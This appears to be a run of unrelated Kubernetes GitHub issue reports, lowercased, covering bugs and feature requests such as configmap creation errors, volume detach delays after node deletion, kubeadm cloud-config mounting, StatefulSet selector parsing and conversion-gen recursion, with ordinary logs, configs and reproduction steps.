for kube-apiserver:\r \r    console\r $ ps aux | grep kube-apiserver\r root     31660  223  0.6 805188 748744 ?       sl   06:54 141:07 /usr/local/bin/kube-apiserver \r   --etcd_servers=https://<etcd server>:4001 \r   --cloud_provider=c3 \r   --cloud_config=/etc/sysconfig/openstack.rc \r   --runtime_config=<runtime_configs> \r   --admission_control=<admission controls> \r   --service-cluster-ip-range=192.168.0.0/16 \r   --insecure-port=8080 \r   --client_ca_file=/etc/ssl/kubernetes/ca.crt \r   --max_requests_inflight=4000 \r   --tls_cert_file=/etc/ssl/kubernetes/server.crt \r   --tls_private_key_file=/etc/ssl/kubernetes/server.key \r   --service_account_key_file=/etc/ssl/kubernetes/service-account.key \r   --secure-port=6443 \r   --token_auth_file=/srv/kubernetes/known_tokens.csv \r   --v=7 --keystone_url=<keystone_url>  \r   --authorization-mode=rbac \r   --etcd-cafile=/etc/ssl/kubernetes/ca.crt \r   --apiserver-count=1 \r   --authorization-rbac-super-user=<super user> \r   --keystone_auth_config_file=/etc/sysconfig/keystoneauthorization.json \r   --enable-garbage-collector=true\r   --audit-log-maxage=7 \r   --audit-log-maxbackup=3 \r   --audit-log-maxsize=500 \r   --audit-log-path=/var/log/kube-audit/kube-apiserver-audit.log \r   --storage-backend=etcd3 \r   --cors-allowed-origins=.  \r   --anonymous-auth=true \r   --allow_privileged=true\r    \r \r  stream terminated by rst_stream with error code: 1  error code 1 means protocol_error per  here  http://httpwg.org/specs/rfc7540.html rfc.section.7   when create configmaps:\r \r    console\r $ kubectl create configmap test -n <ns> --from-file=<file> --v=10\r ...\r i0515 08:52:29.157950    6133 round_trippers.go:299  curl -k -v -xpost  -h \ content-type: application/json\  -h \ user-agent: kubectl/v1.5.2  linux/amd64  kubernetes/df31c96\  -h \ accept: application/json,  / \  http://localhost:8080/api/v1/namespaces/lnp/configmaps\r i0515 08:52:29.385764    6133 round_trippers.go:318  post http://localhost:8080/api/v1/namespaces/lnp/configmaps 500 internal server error in 227 milliseconds\r i0515 08:52:29.385811    6133 round_trippers.go:324  response headers:\r i0515 08:52:29.385820    6133 round_trippers.go:327      content-length: 171\r i0515 08:52:29.385832    6133 round_trippers.go:327      content-type: application/json\r i0515 08:52:29.385842    6133 round_trippers.go:327      date: mon, 15 may 2017 08:52:29 gmt\r i0515 08:52:29.385942    6133 request.go:904  response body: {\ kind\ :\ status\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ rpc error: code = 13 desc = stream terminated by rst_stream with error code: 1\ ,\ code\ :500}\r i0515 08:52:29.385971    6133 request.go:995  response body: \ {\\\ kind\\\ :\\\ status\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ metadata\\\ :{},\\\ status\\\ :\\\ failure\\\ ,\\\ message\\\ :\\\ rpc error: code = 13 desc = stream terminated by rst_stream with error code: 1\\\ ,\\\ code\\\ :500}\ \ \r i0515 08:52:29.386427    6133 helpers.go:203  server response object:  {\r   \ metadata\ : {},\r   \ status\ : \ failure\ ,\r   \ message\ : \ rpc error: code = 13 desc = stream terminated by rst_stream with error code: 1\ ,\r   \ code\ : 500\r } \r f0515 08:52:29.386462    6133 helpers.go:116  error from server: rpc error: code = 13 desc = stream terminated by rst_stream with error code: 1\r

is this a bug report or feature request?  :\r \r   what happened  :\r when rebase  48976 to fix the conflict with  48847, find that some codes use  clientset.corev1   , while some codes still use the   deprecated    clientset.core   .\r \r   what you expected to happen  :\r replace the   deprecated    clientset.core    with  clientset.corev1   .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r

in our current gke environment, when an instance is stopped, crashes, or deleted, a new instances will be automatically recreated so it can resume its processing tasks. because node is deleted from cloud provider, all the volumes attached to the instance will be released  detached  automatically by cloud provider.  node object will be deleted from api server by node controller after it detects that node is deleted from cloud provider. pods running on that nodes will be considered as orphaned pods and get deleted too. volume manager has a control loop to periodically check the whether the volume is still attached to the node periodically. \r \r in this scenario of node is deleted before pods are deleted, current volume manager could not handle it very well and cause unnecessary delay or even failures for volume operations.   the following sequence of events will happen.\r \r 1. node controller notices that kubelet is not updating the node status and verify that the node is no longer exist in cloud provider, deleting it.  at this moment, volumes attached to that node is no longer attached, and also mounts \r 2. node delete event is received by attach_detach controller, but it does not update desired state because it still has volumes attached.  about the same time, reconciler verifies that the volume is no longer attached to the node, mark it as detached in actual state. \r 3. compared between desired and actual state, reconciler decides to attach the volume back to the node. when the new instance is up  could be in a few second , reconciler could attach the volume back the the node and then update volume as attached and mounted  by default it assumed as mounted for the first attach operation  in actual state. https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/volume/attachdetach/cache/actual_state_of_world.go l336 \r 4. garbage collector delete pods on that node, so desired state is updated to delete the volumes to attach to the node. reconciler tries to detach but fails at safety check. it assumes that the volume is still mounted. \r 5. pod is recreated and scheduled to a different node2, reconciler fails to attach volume to node2 since it is currently still attached to the deleted node.\r 6. until 6 minutes timeout, reconcider decides to detach the volume and finally volume can be attached to the new node2.\r note that around or after step 4, the new node is added back  normally a few minutes after node is deleted , volume is shown as not mounted from volumeinuse field. at the stage, reconciler could pass the safety check and trigger detach. however, it might still get delayed unless we solve the next issue 6 \r \r the main problem here is that when node is deleted before pods are deleted, the desired state does not update to reflect this important change so the reconciler’s behavior will be very different from what the real world wants. it attaches the volume back to the deleted node and because of the design, it further makes very difficult to detach from the deleted node quickly. \r \r proposed solution.\r node delete will cause volumes are deleted from desired state. when the node is added back, controller will list all pods and update the desired state.  this to avoid pods are not garbage collected if node object is quickly added back to the api server . this step will make sure that the desired state reflects that the volumes should not attach to the deleted node.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r we have shipped many features in  kubelet.cm  with plenty of files. i would suggest re-org  kubelet.cm  into multiple sub-folders like this:\r \r    \r kubelet\r - cm\r    - cpumanager\r    - cpuset\r    - cgoupmanager\r    - containermanager\r    - deviceplugin\r    - nodecontainer\r    - podcontainer\r    - qoscontainer\r    - helpers\r    - util\r    - types.go\r    \r \r @vishh  @derekwaynecarr make sense to you?

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r   what happened  :\r bootstrapping new master node using kubeadm in a cloud environment fails due to kube-apiserver not having access to /etc/kubernetes/cloud-config. \r \r kubeadm hangs at  \r    \r  init  waiting for the kubelet to boot up the control plane as static pods from directory \ /etc/kubernetes/manifests\ \r  init  this often takes around a minute; or longer if the control plane images have to be pulled.\r    \r kube-apiserver doesn't start due to \r    \r f1005 19:56:17.861521       1 plugins.go:115  couldn't open cloud provider configuration /etc/kubernetes/cloud-config: &os.patherror{op:\ open\ , path:\ /etc/kubernetes/cloud-config\ , err:0x2} \r    \r   what you expected to happen  :\r cluster would start\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r cat > /etc/systemd/system/kubelet.service.d/10-kubeadm.conf <<eof\r  service \r environment=\ kubelet_kubeconfig_args=--bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig=/etc/kubernetes/kubelet.conf\ \r environment=\ kubelet_system_pods_args=--pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true\ \r environment=\ kubelet_network_args=--network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin\ \r environment=\ kubelet_dns_args=--cluster-dns=100.64.0.10 --cluster-domain=example.com\ \r environment=\ kubelet_authz_args=--authorization-mode=webhook --client-ca-file=/etc/kubernetes/pki/ca.crt\ \r environment=\ kubelet_cadvisor_args=--cadvisor-port=0\ \r environment=\ kubelet_certificate_args=--rotate-certificates=true\ \r environment=\ kubelet_extra_args=--cloud-provider=openstack --cloud-config=/etc/kubernetes/cloud-config\ \r execstart=\r execstart=/usr/bin/kubelet $kubelet_kubeconfig_args $kubelet_system_pods_args $kubelet_network_args $kubelet_dns_args $kubelet_authz_args $kubelet_cadvisor_args $kubelet_certificate_args $kubelet_extra_args\r eof\r    \r \r    \r cat > /etc/kubernetes/cloud-config <<eof\r  global \r auth-url=http://10.11.12.13:35357/v3\r region=myregion\r tenant-name=mytenant\r tenant-id=<insert uuid here>\r domain-id=<insert uuid here>\r username=openstack_user\r password=      \r eof\r    \r \r    \r cat > /etc/kubernetes/kubeadm.yaml <<eof\r apiversion: kubeadm.k8s.io/v1alpha1\r kind: masterconfiguration\r kubernetesversion: v1.8.0\r networking:\r   podsubnet: 172.17.0.0/16\r   dnsdomain: example.com\r   servicesubnet: 100.64.0.0/16\r cloudprovider: openstack\r eof\r    \r \r    \r   use skip-preflight-checks to avoid kubeadm complaining that /var/lib/kubelet isn't empty\r kubeadm init --config /etc/kubernetes/cloud-config --skip-preflight-checks\r   ...  \r   hangs\r   ctrl + c \r docker logs $ docker ps -a | grep kube-apiserver | awk '{ print $1 }' | head -n1 \r i1005 19:56:17.861203       1 server.go:114  version: v1.8.0\r i1005 19:56:17.861426       1 cloudprovider.go:59  --external-hostname was not specified. trying to get it from the cloud provider.\r f1005 19:56:17.861521       1 plugins.go:115  couldn't open cloud provider configuration /etc/kubernetes/cloud-config: &os.patherror{op:\ open\ , path:\ /etc/kubernetes/cloud-config\ , err:0x2} \r    \r \r   anything else we need to know?  :\r setting external-hostname doesn't do any good, apiserver still fails, same error. changing the  /etc/kubernetes/pki  mount to  /etc/kubernetes  in the kube-apiserver.yaml after kubeadm is stopped allows the apiserver to start. \r \r   environment  :\r - kubernetes version  use  kubectl version  :  client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:57:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration  : openstack  probably valid in other clouds too \r - os  e.g. from /etc/os-release : ubuntu 16.04.1 lts\r - kernel  e.g.  uname -a  :  linux head-ubuntu16 4.4.0-34-generic  53-ubuntu smp wed jul 27 16:06:39 utc 2016 x86_64 x86_64 x86_64 gnu/linux \r - install tools:  kubeadm version: &version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:46:41z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - others:\r

is this a bug report or feature request?  :\r  \r host ports are system-wide rare resource.\r it would be helpful for administrator to get ways to reserve and distribution host ports to each namespace.\r the follow three features would be helpful:\r 1. node port limitation per namespace\r 2. disallow nodeport on specific hosts.  for example node want reserve some special ports, containers should not uses these ports. \r 3. node port allocation control per user role\r \r i have feagure out some ideas for these features:\r 1. node port limitation per namespace\r add nodeport to  podresource quota  https://github.com/kubernetes/kubernetes/blob/24042ce6e700be767176e2e9438d6d97de69f578/pkg/quota/evaluator/core/pods.go l47  \r 2. disallow nodeport on specific hosts.\r introduce a new --reserved-ports to kubelet and support this in kube-scheduler.\r 3. node port allocation control per user role\r todo

when i request the pod on node node-a  exec api , if i do not config the ip of node-a in the k8s master's /etc/hosts, i will get the error from k8s master such as \ can not resolve node-a \  ,what should i do ,thanks

if a set-based  new type  selector is used with statefulsets, the statefulset breaks and never starts a pod. the reason is  this  https://github.com/kubernetes/apimachinery/blob/bfe7139b14565386b4470736ca765bf21616b60e/pkg/labels/labels.go l157  selector conversion helper.\r \r reproduce with:\r    yaml\r $ cat grin.yaml\r apiversion: v1\r kind: service\r metadata:\r   name: grin\r   labels:\r     app: grin\r spec:\r   ports:\r   - port: 13413\r     targetport: 13413\r     name: http\r   - port: 13414\r     targetport: 13414\r     name: p2p\r   clusterip: none\r   selector:\r     app: grin\r ---\r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   name: grin\r spec:\r   servicename: grin\r   replicas: 1\r   updatestrategy:\r     type: rollingupdate\r   selector:\r     matchexpressions:\r       - {key: app, operator: in, values:  grin }\r   template:\r     metadata:\r       labels:\r         app: grin\r     spec:\r       containers:\r       - image: quay.io/kargakis/grin:0.1\r         name: grin\r         command:\r         - grin\r         - server\r         - run\r         ports:\r         - containerport: 13413\r           name: http\r         - containerport: 13414\r           name: p2p\r    \r    console\r $ kc create -f grin.yaml\r service \ grin-public\  created\r service \ grin\  created\r statefulset \ grin\  created\r $ kc get sts\r name      age\r grin      1h\r $ kc get controllerrevision\r no resources found.\r $ kc get po\r no resources found.\r    \r controller manager logs:\r    console\r e0202 13:02:28.502538   26447 stateful_set.go:399  error syncing statefulset default/grin, requeuing: invalid selector:  app in  grin  \r e0202 13:02:28.663007   26447 stateful_set.go:399  error syncing statefulset default/grin, requeuing: invalid selector:  app in  grin  \r e0202 13:02:28.983965   26447 stateful_set.go:399  error syncing statefulset default/grin, requeuing: invalid selector:  app in  grin  \r e0202 13:02:29.624798   26447 stateful_set.go:399  error syncing statefulset default/grin, requeuing: invalid selector:  app in  grin  \r e0202 13:02:30.905600   26447 stateful_set.go:399  error syncing statefulset default/grin, requeuing: invalid selector:  app in  grin  \r e0202 13:02:33.466074   26447 stateful_set.go:399  error syncing statefulset default/grin, requeuing: invalid selector:  app in  grin  \r e0202 13:02:37.382397   26447 stateful_set.go:399  error syncing statefulset default/grin, requeuing: invalid selector:  app in  grin  \r    \r    console\r $ kc version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:28:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.1.245+dddee913926377-dirty\ , gitcommit:\ dddee9139263775670d3ed94b788c8abc06d5c2b\ , gittreestate:\ dirty\ , builddate:\ 2018-01-24t12:16:32z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r @kubernetes/sig-apps-bugs

hello,everybody!\r encounter the following problem, kubelet generated two certificates, one certificate kubelet.crt certificate for a period of one year, how do you configure, modify the certificate period。\r \r \r \r

sudo kubeadm join 192.168.1  .   :6443 --token xxxxxxxxxxxxxxx --discovery-token-ca-cert-hash sha256:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx \r  preflight  running pre-flight checks\r          warning requiredipvskernelmodulesavailable : the ipvs proxier will not be used, because the following required kernel modules are not loaded:  ip_vs_wrr ip_vs_sh ip_vs ip_vs_rr  or no builtin kernel ipvs support: map ip_vs:{} ip_vs_rr:{} ip_vs_wrr:{} ip_vs_sh:{} nf_conntrack_ipv4:{} \r you can solve this problem with following methods:\r  1. run 'modprobe -- ' to load missing kernel modules;\r 2. provide the missing builtin kernel ipvs support\r \r i0812 07:51:26.457015    3222 kernel_validator.go:81  validating kernel version\r i0812 07:51:26.457474    3222 kernel_validator.go:96  validating kernel config\r  preflight  the system verification failed. printing the output from the verification:\r kernel_version: 4.14.50-v7+\r config_namespaces: enabled\r config_net_ns: enabled\r config_pid_ns: enabled\r config_ipc_ns: enabled\r config_uts_ns: enabled\r config_cgroups: enabled\r config_cgroup_cpuacct: enabled\r config_cgroup_device: enabled\r config_cgroup_freezer: enabled\r config_cgroup_sched: enabled\r config_cpusets: enabled\r config_memcg: enabled\r config_inet: enabled\r config_ext4_fs: enabled\r config_proc_fs: enabled\r config_netfilter_xt_target_redirect: enabled  as module \r config_netfilter_xt_match_comment: enabled  as module \r config_overlay_fs: enabled  as module \r config_aufs_fs: not set - required for aufs.\r config_blk_dev_dm: enabled  as module \r docker_version: 18.06.0-ce\r os: linux\r cgroups_cpu: enabled\r cgroups_cpuacct: enabled\r cgroups_cpuset: enabled\r cgroups_devices: enabled\r cgroups_freezer: enabled\r cgroups_memory: missing\r          warning systemverification : docker version is greater than the most recently validated version. docker version: 18.06.0-ce. max validated version: 17.03\r  preflight  some fatal errors occurred:\r          error systemverification : missing cgroups: memory\r  preflight  if you know what you are doing, you can make a check non-fatal with  --ignore-preflight-errors=...

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r \r   \r  \r   what happened  :\r \r after creating pods having persistentvolumeclaims and deleting them, the logs are getting filled with errors regarding   operationexecutor.unmountdevice   failing to unmount the volume  1 . additionally, tests requiring pvcs will hang several minutes while waiting the pv to unmount  2 .\r \r  1  https://paste.ubuntu.com/p/gpjqgmjcqk/\r  2  https://paste.ubuntu.com/p/csftfnjyzs/\r \r   what you expected to happen  :\r \r there shouldn't be any issues while unmounting the volume, the tests shouldn't have to wait several minutes waiting for the volume to be unmounted.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create pod requiring pvc.\r 2. delete the pod.\r 3. check logs for error messages regarding the volume not being able to be unmounted.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.2\r - cloud provider or hardware configuration: azure, acs-engine v0.21.2     kubernetes.json  : https://paste.ubuntu.com/p/qctnh5tkfp/  \r - os  e.g. from /etc/os-release : windows server 1803\r - kernel  e.g.  uname -a  :\r - install tools: \r - others:\r

 \r <!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r hi,\r today i've accidentally run the command as follows:\r  kubectl rollout undo deployment \r \\- i unintentionally omitted a name of my deployment - and   all   deployments have been undo-ed, :-/.\r \r i'd expect an explicit parameter  a confirm question?  here.\r \r   why is this needed  :\r i'd say there should be an explicit parameter  a confirm question?  with such \ destructive\  commands affecting   all   resources  = when there's no the particular name of a resource .\r i don't think the  --dry-run  parameter is appropriate in this use case.\r \r ps does the  delete  command work the same way?\r \r   supplement:  \r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.4-dirty\ , gitcommit:\ f49fa022dbe63faafd0da106ef7e05a29721d3f1\ , gittreestate:\ dirty\ , builddate:\ 2018-12-18t07:57:52z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.6\ , gitcommit:\ a21fdbd78dde8f5447f5f6c331f7eb6f80bd684e\ , gittreestate:\ clean\ , builddate:\ 2018-07-26t10:04:08z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

at this point, kubectl delete has a super set of the functionality of kubectl stop. is there any reason to keep it around?  @bgrant0607 @jlowdermilk

as of v1.4.0  and current master , the default seccomp profile is set to unconfined , as this is the intended behavior for a new k8s cluster.\r \r however, it would be great if there was a config flag in the kubelet that allowed the specification of an alternate default seccomp profile e.g. the  docker/default  profile. currently, we have to alter the src and rebuild the bin to use  docker/default  so that we don't force user's to specify the profile in resource annotations every time.\r \r hardcoded setting: https://github.com/kubernetes/kubernetes/blob/v1.4.0/pkg/kubelet/dockertools/docker_manager.go l115

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : \ tarball\ , \ permissions\   ---    is this a bug report or feature request?    choose one :  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  : 1.3.8    environment  : -   cloud provider or hardware configuration  : bare metal -   os    e.g. from /etc/os-release : debian -   kernel    e.g.  uname -a  : n/a -   install tools  : none – custom repackaging -   others  :    what happened  :  starting with version 1.3.8, the permissions of all the files in the release tarball  both direct and in the inner tarballs  have changed from 755 to 750 or 644 to 640, resp. i pulled and looked at the permissions of the inner tarballs over a few versions, see  this gist  https://gist.github.com/matthiasr/1066cbb833e197592ee515faa0a782fd .    what you expected to happen  :  files to have stable permissions across versions.    how to reproduce it    as minimally and precisely as possible :  as root, unpack  kubernetes.tar.gz . as non-root, try to use any of the binaries.    anything else do we need to know  :  i came across this because we blindly carried the permissions over into our custom repackaging. we do that now, so it's not urgent for us to change anything but it was confusing at first  especially in a patch upgrade . i also don't think there is any reason for this change?

timeout expired waiting for volumes to attach/mount for pod \ ceph-test-i8oj5\ /\ default\ . list of unattached/unmounted volumes= ceph-image1

ssh calls without timeout have caused some trouble. the most recent one is that in node e2e, we ssh into the instance and run  docker version  to check whether the instance is ready or not.\r \r however, once docker hungs,  docker version  will never return, and the framework will also hung forever. after the test timed out, it seems that the framework didn't cleanup the vm because it still hung on the ssh command.\r \r we should add timeout to ssh calls to avoid this kind of problem.\r \r /cc @kubernetes/sig-node-bugs

is this a bug report or feature request?:\r \r  \r what happened:\r \r i create a clusterrole resource. i try to apply the clusterrole to my google container engine-hosted k8s v1.6.6 cluster. the cluster has rbac enabled. all attempts produce the following error:\r \r  error: unable to decode \  filename .yaml\ : no kind \ clusterrole\  is registered for version \ rbac.authorization.k8s.io/v1beta1\  \r \r extremely similar to  48628.\r \r what you expected to happen:\r \r the resource is created.\r \r how to reproduce it  as minimally and precisely as possible :\r \r 1. set up a cluster running kubernetes 1.6.6 with rbac enabled on google container engine\r 2. create a clusterrole resource and attempt to apply it\r \r anything else we need to know?:\r \r environment:\r \r kubernetes version  use kubectl version : 1.6.6\r cloud provider or hardware configuration  : google container engine\r os  e.g. from /etc/os-release : container-optimized os  cos \r kernel  e.g. uname -a : 4.4.52+

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i'm trying to convert helm  chart  type  https://github.com/kubernetes/helm/blob/master/pkg/proto/hapi/chart/chart.pb.go l41  to an api object.  chart  has a  chart.dependencies  field which is a pointer to the  chart  type itself.\r when leaving this field as it is,  conversion-gen  fails with stack overflow:\r \r    \r /home/clm/wrk/go/bin/conversion-gen --input-dirs github.com/ibazhitov/ap/ap-api-apps/pkg/apis/apps/v1 --input-dirs github.com/ibazhitov/ap/ap-api-apps/pkg/apis/apps -o /home/clm/wrk/go/src --go-header-file boilerplate.go.txt -o zz_generated.conversion --extra-peer-dirs k8s.io/apimachinery/pkg/apis/meta/v1,k8s.io/apimachinery/pkg/conversion,k8s.io/apimachinery/pkg/runtime\r 2017/07/25 11:30:48 failed to run conversion-gen runtime: goroutine stack exceeds 1000000000-byte limit\r fatal error: stack overflow\r \r runtime stack:\r runtime.throw 0x6eed0b, 0xe \r \t/usr/lib/go-1.8/src/runtime/panic.go:596 +0x95\r runtime.newstack 0x0 \r \t/usr/lib/go-1.8/src/runtime/stack.go:1089 +0x3f2\r runtime.morestack  \r \t/usr/lib/go-1.8/src/runtime/asm_amd64.s:398 +0x86\r \r goroutine 1  running :\r k8s.io/kubernetes/vendor/k8s.io/kube-gen/cmd/conversion-gen/generators.equalmemorytypes.equal 0xc438dfcba0, 0xc438ca0420, 0xc438627970, 0x6 \r \t/home/clm/wrk/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-gen/cmd/conversion-gen/generators/conversion.go:331 +0x20e fp=0xc458e76378 sp=0xc458e76370\r k8s.io/kubernetes/vendor/k8s.io/kube-gen/cmd/conversion-gen/generators.equalmemorytypes.equal 0xc438dfcba0, 0xc438ca0370, 0xc4386278c0, 0x85b760 \r \t/home/clm/wrk/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-gen/cmd/conversion-gen/generators/conversion.go:360 +0x291 fp=0xc458e764b8 sp=0xc458e76378\r k8s.io/kubernetes/vendor/k8s.io/kube-gen/cmd/conversion-gen/generators.equalmemorytypes.equal 0xc438dfcba0, 0xc438ca0370, 0xc4386278c0, 0x5 \r \t/home/clm/wrk/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-gen/cmd/conversion-gen/generators/conversion.go:341 +0x120 fp=0xc458e76538 sp=0xc458e764b8\r k8s.io/kubernetes/vendor/k8s.io/kube-gen/cmd/conversion-gen/generators.equalmemorytypes.equal 0xc438dfcba0, 0xc438ca0840, 0xc438627ef0, 0x85b760 \r \t/home/clm/wrk/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-gen/cmd/conversion-gen/generators/conversion.go:370 +0x35e fp=0xc458e76678 sp=0xc458e76538\r k8s.io/kubernetes/vendor/k8s.io/kube-gen/cmd/conversion-gen/generators.equalmemorytypes.equal 0xc438dfcba0, 0xc438ca0840, 0xc438627ef0, 0x1 \r \t/home/clm/wrk/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-gen/cmd/conversion-gen/generators/conversion.go:341 +0x120 fp=0xc458e766f8 sp=0xc458e76678\r k8s.io/kubernetes/vendor/k8s.io/kube-gen/cmd/conversion-gen/generators.equalmemorytypes.equal 0xc438dfcba0, 0xc438ca0370, 0xc4386278c0, 0x85b760 \r \t/home/clm/wrk/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-gen/cmd/conversion-gen/generators/conversion.go:360 +0x291 fp=0xc458e76838 sp=0xc458e766f8\r k8s.io/kubernetes/vendor/k8s.io/kube-gen/cmd/conversion-gen/generators.equalmemorytypes.equal 0xc438dfcba0, 0xc438ca0370, 0xc4386278c0, 0x5 \r \r ...\r \r ...additional frames elided...\r \r goroutine 17  syscall, locked to thread :\r runtime.goexit  \r \t/usr/lib/go-1.8/src/runtime/asm_amd64.s:2197 +0x1\r \r goroutine 5  chan receive :\r k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .flushdaemon 0x83fbe0 \r \t/home/clm/wrk/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:879 +0x7a\r created by k8s.io/kubernetes/vendor/github.com/golang/glog.init.1\r \t/home/clm/wrk/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:410 +0x21d\r  exit status 2\r \r    \r \r commenting out  chart.dependencies  solves the problem.\r \r   what you expected to happen  :\r \r  conversion-gen  doesn't fail when processing a type that references itself\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run  conversion-gen  on a file, containing a type, that has references to itself, e.g.:\r \r    \r type chart struct {\r         // foo\r         foo int  json:\ foo\  \r \t// charts that this chart depends on.\r \tdependencies   chart  json:\ dependencies,omitempty\  \r }\r \r    \r \r   anything else we need to know?  :\r \r  conversion-gen  is started during  apiserver-boot build generated  command execution.  apiserver-boot  is a tool from  apiserver-builder  project: https://github.com/kubernetes-incubator/apiserver-builder\r commenting out  chart.dependencies  solves the problem.\r is referencing from api type to itself prohibited by design or this is an issue that should be fixed in  conversion-gen ?\r \r   environment  :\r - kubernetes version  use  kubectl version  : built from master  c25a7e6a75f655a5af5a3475ed2e2090bb2e0c94 , also tried several previous versions of  conversion-gen  -- all of them fails the same way\r - cloud provider or hardware configuration  : bare metal\r - os  e.g. from /etc/os-release : ubuntu linux 16.04\r - kernel  e.g.  uname -a  : linux tp 4.4.0-81-generic  104-ubuntu smp wed jun 14 08:17:06 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r currently i find  stickymaxageminutes  for a session affinity type service is hard code to 180min. there is a todo comment, see\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/iptables/proxier.go l205\r \r i think the seesion sticky max time varies from service to service and users may not aware of it since it's hard coded in all proxier.go - iptables, userspace and winuserspace.\r \r once we parameterize it in api, users can set/get the values for their different services.\r \r perhaps, we can introduce a new field  api.clientipaffinityconfig  in  api.servicespec .\r \r there is an initial discussion about it in sig-network group. see,\r \r https://groups.google.com/forum/ !topic/kubernetes-sig-network/i-lkehrjs80\r \r i am working on fixing it.\r \r /assign @m1093782566\r

is this a bug report or feature request?  :\r  \r   what you expected to happen  :\r related to  50985\r since  51087 merged, we should implement this method for all the cloud providers.\r \r   anything else we need to know?  :\r many cloud providers like aws, gce etc...  implement externalid  , they also implement instanceexistsbyproviderid  , i can fill it soon.\r /cc @wlan0 @thockin  @luxas @jhorwit2\r \r /area cloudprovider\r 

